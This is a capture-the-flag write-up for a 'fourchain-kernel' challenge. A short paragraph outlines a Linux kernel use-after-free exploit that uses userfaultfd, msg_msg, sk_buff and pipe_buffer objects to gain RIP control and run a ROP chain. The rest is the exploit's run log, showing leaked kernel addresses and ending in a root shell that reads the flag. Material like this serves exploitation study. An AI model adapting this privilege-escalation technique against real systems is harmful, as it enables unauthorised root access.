-
Notifications
You must be signed in to change notification settings - Fork 71
Expand file tree
/
Copy pathwriteup02.txt
More file actions
207 lines (203 loc) · 9.22 KB
/
Copy pathwriteup02.txt
File metadata and controls
207 lines (203 loc) · 9.22 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
mine for fourchain-kernel, hanged IO_EDIT with userfaultfd, in another thread deleted the node and reallocated a new one, then massaged so that the old address that it would go into when I unpause the thread overwrites the current nodes struct node. Smashing address and size lets me start editing arbitrary data in the heap for which I used msg_msg, pipe_buffer and sk_buff to get RIP control and did a ROP
udhcpc: started, v1.35.0
udhcpc: broadcasting discover
udhcpc: broadcasting discover
udhcpc: broadcasting select for 10.0.2.15, server 10.0.2.2
udhcpc: lease of 10.0.2.15 obtained from 10.0.2.2, lease time 86400
deleting routers
route: SIOCDELRT: No such process
adding dns 10.0.2.3
~ $ /writeup02
09 28 fe 1e 70 ef 0e 40 c9 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Count: 8
Key: 0x400eef701efe2809
00 00 00 00 00 00 00 00 c0 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
09 28 fe 1e 70 ef 0e 40 09 28 fe 1e 70 ef 0e 40
Msgidx: -1
Nope. Rerun with argument 1
~ $ /writeup02
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
df f0 66 b3 a9 d3 25 9b 1f 8e 66 b3 a9 d3 25 9b
9c 90 14 b7 29 5b da 64 cf 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
a9 e6 62 c1 5f 2d ac 12 a9 e6 62 c1 5f 2d ac 12
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
a8 e9 cb d1 7d 10 c7 a8 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Count: 222
Key: 0x64da5b29b71490df
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
00 60 72 04 80 88 ff ff c0 1e 72 04 80 88 ff ff
43 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
76 76 76 76 76 76 76 76 76 76 76 76 76 76 76 76
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
77 79 df 66 54 4b 1d cc 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
Msgidx: 8
Kmalloc-1k ptr: 0xffff888004726000
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
00 60 72 04 80 88 ff ff c0 1e 72 04 80 88 ff ff
43 00 00 00 00 00 00 00 c8 1f 00 00 00 00 00 00
f8 63 72 04 80 88 ff ff 00 00 00 00 00 00 00 00
76 76 76 76 76 76 76 76 76 76 76 76 76 76 76 76
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
77 79 df 66 54 4b 1d cc 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
df 90 14 b7 29 5b da 64 df 90 14 b7 29 5b da 64
Leak copy 8136
Free to dangle 976
Building fake msg_msg
Spraying sk_buff
Doing xor and editing
Receiving
Free to get the UAF 976
Leaking pipe buffers...
Pipe buffer ops: 0xffffffff81e3a940
Kbase: 0xffffffff81000000
[*] Saved state
Releasing pipe buffers...
/home/note # id
uid=0(root) gid=0
/home/note # cd /
/ # ls
bin home linuxrc sbin tmp
dev init proc sys usr
etc lib root test01 writeup02
/ # cd root
~ # ls
flag
~ # cat flag
flag{xxxxx}